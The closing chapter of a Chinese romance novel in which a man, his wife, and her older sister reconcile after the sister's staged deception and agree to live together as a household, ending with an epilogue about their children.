「我們的新屋也在那附近,是你敏姐給錢建的。」她微笑說:「她已經很少回來了,這一次要不是因爲政府規劃的新公路剛好穿過我們的村子,要把我們的祖屋也清拆掉的話,相信她也不會專程回來呢!」小由看了看我,才問她媽媽說:「媽,那敏姐現在呢?」我跟她回來了之后,在廣州找不到敏姐,卻聽到她的同事說她回鄉下了,所以馬上便打電話回來找我的嶽丈牛頭叔,才知道原來敏姐已經回來一個禮拜了。
我們囑咐他不要把我們回來的事告訴敏姐,接著便雇車直接趕了回來。
「小敏一直不舍得拆掉那間破房子,但這一次政府因爲要開辟新的高速公路,所以一定要拆了。」牛頭叔歎了口氣:「這女兒還是那麽固執,跑到鎮公所鬧了許久,但人家幾十億的投資怎麽改得了,而且早給了賠償嘛!」「那她現在……」
我忍不住追問。
「房子明天就要拆了,她多半又待在那里吧……」嶽母大人愣了愣:「小燦,你和小由已經結婚了,敏姐的事就算了吧。」小由看了看我,點著頭說:「媽媽,你放心,我們是不會有事的。」又鼓勵地握了握我的手。
牛頭叔倒沒那麽多顧忌:「當日我原本是不贊成的,雖然說你和小由從小就是一對,但小敏始終與你有夫妻名分嘛……只是她生不了孩子,不孝有三,無后爲大;我自己沒有兒子,也沒理由眼白白的看著你們家也要斷了香燈的嘛!」他說得像是理所當然似的:「現在看到小由終于懷了你的孩子,日后到了下面看到你們的太公,我也對得起他了!」他還一面豪氣的說:「我牛頭一生人自問光明磊落,問心無愧;我的女兒也要一樣!小燦,你對小敏怎樣我可是親眼看到的。你是個好孩子、好女婿;既然小敏沒法去盡你們家媳婦的義務,我還有另一個女兒可以……我牛頭是不會對不起你們家的。現在看到你對小由那麽好,對小敏也還有情有義,我就算死也會阖眼了!」牛頭嬸聽了,馬上罵他口沒遮攔,叫他吐口水再說過。
我和小由知道怎樣也拗不過他的封建思想,也唯有陪著苦笑了一下。
我和小由「吱」的推開了小院子的后門,終于看到那個久違的破落庭園……還有那道孤伶伶的端坐在院子中央石台上的優美身影……是敏姐。
她雙手靠后支在石台上,像尊雕塑似的擡頭呆看著蔚藍的天空。
小由推了推我,示意我一個人走過去。
我感激地摟了摟她,拉著她一起慢慢地走過去。
敏姐還是一樣的美!俏臉上不像我們離開前那段日子那樣的濃妝豔抹,清清爽爽的沒施脂粉;其實她這樣子才是最美麗的。她緊緊地閉上眼,垂肩的秀發在微風中輕柔的擺動著,修長的玉指不自覺的在光滑的石面上輕輕撫摸,彷佛要憑藉著指尖跟大石的接觸,追溯起從前在這里發生過的一點一滴。
她整個人都像陶醉在甜蜜的回憶中,完全沒察覺有人來了。直到我和小由一左一右的在她身邊坐下,她才突然張開了眼睛,完全不能置信的看著我:「小……小燦!怎……怎麽會是你?」「敏姐,」
我微笑地看著她:「是我,我回來了!」
「小由呢?」
她深吸了口氣。
「我在這兒……」
小由笑咪咪的也拉了拉她的手。
「你們怎麽會回來了?」
她又吸了口大氣,明顯在整理著紊亂的思緒。
我伸手抓著了她的小手,認真地說:「敏姐,我們是回來找你,請你和我們一起生活的!」她渾身一震,但隨即恢複了鎮靜:「你們別說笑了,你們不是已經結婚了嗎?而且我也有自己的家庭,我老公對我好好的……」「胡革新的事我們已經知道了!敏姐,你不用再騙我們了。」我向她搖了搖頭。
小由也吐著舌頭的說:「爸爸媽媽也已經把一切都告訴我們了……」敏姐驚訝的呆住了,好半晌才懂得反應,讷讷的說:「那……那也沒關系了!你們……你們已經結了婚,我的願望也終于達成了!」眼眶中已經泛起了淚光。
小由忍不住擁著她哭了起來:「姐姐你太傻了!你怎麽可以這樣做的?」敏姐也哭了:「小由,我明知你喜歡小燦,卻自私的把他從你手中搶走,原本就是敏姐不對!一切都是報應,是上天對我的懲罰!」「別這樣說!姐姐……」
小由用力地摟緊了敏姐:「我知道你也愛他的!我才是第三者!」我見她們兩姐妹哭成一團,也忍不住了,把她們都摟進懷里,三個人一起哭了起來。
「敏姐。」
我完全制止不了自己在她的秀發上吻著。
「快把一切都告訴我們,你還欠我和小燦一個交代,我們都讓你騙得好辛苦呢……」小由也在幫她擦著眼淚,點著頭催促說。
「你們……」
敏姐皺起眉頭:「你們是怎樣知道的?」
「這個以后再告訴你,」
我狠狠地瞪著她:「先說你是怎樣騙我們的!」她扁了扁小嘴,羞惱的說:「那天,就是你弄傷腳的那一天……我其實不是去談生意,而是到醫院去做檢查。醫生說我受傷小産那一次弄傷了子宮,可能永遠都不會再有孩子的了……」「慢著!」
我狐疑地道:「你怎麽無端端跑去做檢查的?」她像是很委屈似的:「不就是因爲我們一直都沒孩子嘛?」「那時我們不是決定了不要那麽快要孩子,你還一直有避孕的嗎?」我奇怪地問她。
她這時才說:「其實我很早已經沒在避孕了……我……我很想盡快替你生個孩子。所以便瞞著你偷偷撤去了所有避孕的措施,只是……我卻一直都沒懷上!知道了檢驗結果之后我很傷心,原來我是個不完全的女人!我很傷心地跑回家,哪知卻看到你們兩個光脫脫的睡在那里,小由腿間還有些血……」小由的臉馬上紅了,我馬上追問說:「原來你早回來了!那麽那些「鹿筋」也不會是人家剛巧送的了吧?」敏姐招認了:「是我在附近的藥材鋪買的。」
「接著你就開始演戲,假裝嫌棄我不懂事,又找那個胡革新來扮奸夫……」我繼續推測說。
敏姐點著頭:「胡革新是我聘請的會計主任,我見他的外形適合,便叫他和我合作,跟著再找爸媽和小燦的雙親,說服了他們也支持我的做法。」小由嗔著說:「人人都知道,就只有我們兩個被蒙在鼓里!」「沒辦法,我知道如果照實說出來,你們一定不肯的!」敏姐歎了口氣:「你們兩個才是一對,我雖然很愛小燦,但不可以那麽自私的!我已經把他從你身邊搶走了一次,還幾乎累死了小燦,結果便得到了上天的懲罰。」她抹著眼淚:「既然你們兩情相悅,我又怎麽可以那麽自私,繼續霸占著小燦。而且我不能替他生孩子,小由你卻可以……」她羨慕地輕撫著小由的肚子。
「好了!」
我又說道:「那都算了!但爲什麽我們離開了之后,你還要繼續騙我們,每年都寄那些假的照片過來?」敏姐解釋說:「我怕你們會吵架嘛!也怕小燦你會放不下我們從前那段感情,所以才會不斷地給你們些刺激……讓你們繼續恨我也好,繼續怨我也好……總之會還記得我……」「傻瓜敏姐!我們又怎會忘記你呢?」
我憐惜地擁抱著她嬌小的身軀,感激地說:「我們這一次是回來找你的……」小由也哭著說:「姐姐,我和小燦決定了!我們想請你跟我們一起生活,小燦你也有份的……」「這怎麽可以?」
敏姐馬上羞紅了臉,還掙扎了起來:「你們已經結婚了,連孩子都快有了,怎麽可以還像小孩子一般亂說話的?」我抓著她的小手:「敏姐,我和小由是認真的。你爲我們付出了那麽多,我們怎麽可以看著你孤單一個呢?而且你說過的,我和小由還是小孩子嘛,你是我們的大姐姐,當然有責任要照顧我們,還有我們的孩子了。」我看著她認真地說:「敏姐,我說過的,你的孩子就是我的孩子,我和小由的孩子當然也是你的孩子了!」小由抓起敏姐的手放到自己隆起的肚子上:「姐姐,這個是我們三個人的孩子!」眼淚不斷的從敏姐的眼眶里湧出來……
我執著她的手:「敏姐,這一次我很清楚了!我對你的不是同情、不是憐憫、也不是補償!而是愛!我愛你,我也愛小由,你們兩個我都愛!」「……」
敏姐還在猶疑著。
我繼續笑著說:「我們要和你一起生活,小由也同意了。敏姐你快答應我吧!」小由也「噗嗤」的笑了:「姐姐,你快答應我們吧!小時候,我們不是常常三個人一起玩家家酒的遊戲,都叫小燦老公的嗎?看來我們兩姐妹是注定要便宜他了……」敏姐羞惱地看著滿臉得色的我,還有在旁推波助瀾的妹妹,嬌嗔著說:「我才不依,我現在好歹也是幾間時裝連鎖店的老板了,怎麽可以當人家的「二奶」啊?」我笑著吻她說:「你當然不是「二奶」,是「大奶」才對!在「奶」這一項上小由還是比不上你的……」「死相!」
兩姐妹這次可是很齊心了,一起擂起了粉拳來揍我。
門外,牛頭叔和牛頭嬸終于來到了,非常滿意地看著園子里鬧成了一團的我們。
那塊滿載著我和敏姐寶貴回憶的大石台,我們在拆屋前雇人吊走了,現在變成了我們新居的園子中一件最有價值的擺設;同時也是幾個孩子最喜歡玩耍的地方;包括了我們的大兒子,還有那個比他小兩歲的弟弟,和再小兩個月的妹妹……在小由懷上第二胎的時候,敏姐竟然也夢熊有兆了。她歡喜得像瘋了一樣,后來還捐出一大筆錢來重建祠堂,說是要多謝祖先的保佑。



若本站收录的文章侵犯了您的权益,请联系我们删除侵权内容!

警告:本站立足于美利坚合众国並遵守美利坚法律服务于海外华人,谢绝中国大陆地区访问!
如您未满十八岁或当地法律不允许之年龄、亦或者您对本站内容反感,请自觉离开本站!
寻艳回首 :https://xunyanhs.github.io
聯絡: [email protected]